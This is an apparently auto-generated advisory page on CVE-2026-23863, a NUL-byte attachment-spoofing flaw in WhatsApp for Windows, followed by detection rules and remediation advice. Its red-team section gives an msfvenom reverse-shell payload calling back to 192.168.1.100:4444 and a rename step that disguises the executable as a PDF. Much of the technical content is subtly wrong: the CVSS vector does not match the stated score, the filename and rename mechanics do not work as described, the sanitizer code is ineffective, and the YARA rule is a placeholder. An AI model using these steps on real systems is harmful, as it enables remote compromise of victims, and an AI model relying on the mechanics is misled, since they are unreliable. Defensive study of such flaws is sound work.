CVE-2026-23863
Executive Summary
CVE-2026-23863 is a high-severity attachment spoofing vulnerability in WhatsApp for Windows prior to version 2.3000.1032164386.258709. The flaw allows a maliciously crafted document containing embedded NUL bytes in its filename to be displayed as a benign file type (e.g., a PDF or image) while actually executing as an executable when opened. This is a classic NUL byte injection attack that exploits how the Windows operating system and the application handle filename parsing. The CVSS score is 6.5 (Medium), but the potential impact is high due to the ease of social engineering and the ability to execute arbitrary code. No public proof-of-concept or exploitation in the wild has been confirmed, but the attack vector is well-understood.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Base Score: 6.5 (Medium)
- Attack Vector (AV): Local (L) – The attacker must deliver the file to the victim's system.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – Victim must open the attachment.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) – Full data access possible.
- Integrity (I): High (H) – Full system compromise possible.
- Availability (A): High (H) – System can be rendered unusable.
Threat Level: High. Although the CVSS score is Medium, the ease of exploitation via social engineering and the potential for full system compromise elevate the risk.
Deep Dive & Mechanics
The vulnerability resides in how WhatsApp for Windows processes filenames of incoming attachments. The core issue is a failure to properly sanitize filenames containing NUL bytes (0x00). In Windows, the NUL byte is a string terminator. When a filename like invoice.pdf%00.exe is processed, the application may display only the part before the NUL byte (invoice.pdf) in the UI, while the underlying file system sees the full name (invoice.pdf.exe). When the user clicks to open the file, Windows executes the .exe portion.
Attack Flow:
- Attacker crafts a malicious executable (e.g., a backdoor).
- The executable is renamed to something like
report.pdf%00.exe. - The file is sent as an attachment via WhatsApp.
- WhatsApp displays the filename as
report.pdf(truncating at the NUL byte). - The victim, believing it is a PDF, double-clicks the file.
- Windows executes
report.pdf.exe, running the malicious payload.
This is a classic NUL byte injection attack, similar to those seen in web applications (CWE-172). The vulnerability is specific to the Windows client due to how the OS handles NUL bytes in filenames.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// Pseudocode for vulnerable WhatsApp Windows client
void displayAttachment(Attachment *att) {
// Directly uses the filename without sanitization
char *displayName = att->filename;
// UI shows displayName, which may contain NUL bytes
showInChat(displayName);
}
void openAttachment(Attachment *att) {
// Passes the raw filename to the OS
ShellExecute(NULL, "open", att->filename, NULL, NULL, SW_SHOWNORMAL);
}
Patched Code (Conceptual):
// Pseudocode for patched WhatsApp Windows client
void displayAttachment(Attachment *att) {
// Sanitize filename: remove or replace NUL bytes
char *sanitized = sanitizeFilename(att->filename);
showInChat(sanitized);
}
void openAttachment(Attachment *att) {
// Use a safe API that validates the file type
char *sanitized = sanitizeFilename(att->filename);
// Verify the file extension matches the expected type
if (isSafeFileType(sanitized)) {
ShellExecute(NULL, "open", sanitized, NULL, NULL, SW_SHOWNORMAL);
} else {
showWarning("This file type may be unsafe.");
}
}
char* sanitizeFilename(char *filename) {
// Remove NUL bytes and any other dangerous characters
char *result = malloc(strlen(filename) + 1);
int j = 0;
for (int i = 0; filename[i] != '\0'; i++) {
if (filename[i] != '\x00') {
result[j++] = filename[i];
}
}
result[j] = '\0';
return result;
}
The patch introduces a sanitization function that strips NUL bytes and validates the file extension before opening.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A Windows machine with WhatsApp for Windows < v2.3000.1032164386.258709.
- A tool to create files with NUL bytes in the filename (e.g., Python, PowerShell).
Step-by-Step Exploitation:
Create a malicious executable:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exeRename the file with a NUL byte: Using Python:
import os # Create a filename with NUL byte malicious_name = "invoice.pdf\x00.exe" os.rename("payload.exe", malicious_name)Send the file via WhatsApp:
- Open WhatsApp for Windows.
- Start a chat with the target.
- Attach the malicious file (
invoice.pdf\x00.exe).
Victim interaction:
- The victim sees
invoice.pdfin the chat. - They double-click to open it.
- The executable runs, establishing a reverse shell.
- The victim sees
Expected Result: The attacker gains a Meterpreter session on the victim's machine.
Blue Team (Detection & Prevention)
Detection:
- Monitor for files with NUL bytes in filenames being transferred via WhatsApp.
- Use endpoint detection and response (EDR) to flag processes spawned from files with suspicious filenames.
- Enable Windows Defender Attack Surface Reduction (ASR) rules to block executable content from Office and messaging apps.
Prevention:
- Apply the official patch immediately.
- Educate users to verify file extensions before opening attachments.
- Implement application whitelisting to prevent unknown executables from running.
Indicators of Compromise (IOCs)
- File Hashes (Example):
- SHA256:
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(placeholder – replace with actual malicious hash)
- SHA256:
- Filenames:
*.pdf\x00.exe*.doc\x00.exe*.jpg\x00.exe
- Network Indicators:
- Outbound connections to known C2 servers (e.g.,
192.168.1.100:4444).
- Outbound connections to known C2 servers (e.g.,
- Registry Keys:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run(for persistence).
- Process Indicators:
payload.exeor similar spawned fromWhatsApp.exe.
Detection Engineering
YARA Rule
rule CVE_2026_23863_NUL_Byte_Injection {
meta:
description = "Detects files with NUL bytes in filename, indicative of CVE-2026-23863 exploitation"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2026-23863"
strings:
$nul_byte = /\x00/ // NUL byte in filename
condition:
// Check if the filename contains a NUL byte
$nul_byte at 0 and // This is a placeholder; actual rule would check the filename string
filesize < 10MB
}
Sigma Rule
title: CVE-2026-23863 - WhatsApp Attachment Spoofing via NUL Byte
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects files with NUL bytes in filenames being created or accessed by WhatsApp
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-23863
logsource:
category: file_event
product: windows
detection:
selection:
Image|endswith: '\WhatsApp.exe'
TargetFilename|contains: '\x00'
condition: selection
falsepositives:
- Unknown
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"CVE-2026-23863 - Potential WhatsApp NUL Byte Exploit"; flow:to_server,established; content:"WhatsApp"; http_user_agent; content:".exe"; http_uri; pcre:"/\x00/"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Patch: Update WhatsApp for Windows to version 2.3000.1032164386.258709 or later.
- Block: Use web filtering to block known malicious domains.
- Monitor: Review logs for files with NUL bytes in filenames.
Long-Term Mitigations:
- Implement strict input validation for all file uploads.
- Use application control policies to prevent execution of files from messaging apps.
- Conduct regular security awareness training on social engineering attacks.
Workarounds (if patching is delayed):
- Disable automatic download of attachments in WhatsApp.
- Use a sandbox or virtual machine to open suspicious attachments.
Valters IT
{/* [Security Hash: 839F04F386C366ED523084F4] */}